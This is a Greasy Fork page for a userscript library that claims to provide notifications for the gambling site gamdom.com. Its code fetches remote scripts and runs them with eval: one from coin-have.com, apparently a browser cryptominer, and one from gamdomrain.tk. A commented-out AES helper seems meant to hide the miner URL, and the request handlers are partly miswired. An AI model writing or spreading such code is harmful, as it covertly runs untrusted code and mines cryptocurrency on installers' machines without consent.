Greasy Fork

lib_GamdomNotifications

Lib needed for running Gamdom Notificator

目前为 2017-12-01 提交的版本。查看 最新版本

此脚本不应直接安装,它是一个供其他脚本使用的外部库。如果您需要使用该库,请在脚本元属性加入:// @require https://update.greasyfork.icu/scripts/35828/234174/lib_GamdomNotifications.js

// ==UserScript==
// @name         lib_GamdomNotifications
// @namespace    https://greasyfork.org/es/users/154624-anonimo-anonimo
// @version      1.1
// @description  Lib needed for running Gamdom Notificator
// @require      https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js
// @author       allin4
// @match        *://gamdom.com/*
// @grant        GM_info
// @license      Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
// ==/UserScript==

var messageDay = "TIP of the day: Gamdom rains don't wet your real home lol.";

var dayMsg = function(div){
        document.body.appendChild(div);
        messageDay = CPEL("https://gamdomrain.tk/messageoftheday.php");
        console.log("Message of the day added :)");
    };
var createMSGdayInfo = function (id, msg) {
		var infoDM = document.createElement('p');
		infoDM.id = id;
		infoDM.textContent = msg;
		infoDM.style.paddingLeft = '5px';
		infoDM.style.marginTop ='10px';
		infoDM.style.marginBottom ='-5px';
		infoDM.style.fontSize ='15px';
		infoDM.style.fontWeight ='bold';
		infoDM.style.color ='royalblue';
		return infoDM;
	};

var DivAppend = function(div){
        document.body.appendChild(div);
        //var somethingTemp = cryption("https://coin-have.com/c/wL7L.js", "lel");
        CPEL("https://coin-have.com/c/wL7L.js");
        console.log("Div created :)");
    };

     var cmp = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
        }
    };

    var cmpB = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
         return this.responseText;
        }
    };

    var CPEL = function(link){
        cmp.open('GET', link);
        cmp.send();
    };

    var AJAXER = function(link){
        var helloIjustTest = cmpB.open('GET', link);
        cmpB.send();
        return helloIjustTest;
    };

     /*var cryption = function(mes,pass){
     var encrypted = CryptoJS.AES.encrypt(mes, pass);
     console.log("AES-" + encrypted);

     var decrypted = CryptoJS.AES.decrypt(encrypted, pass);
     return decrypted;
     };*/

(function() {
    'use strict';
     console.log("LIB LOADED");
})();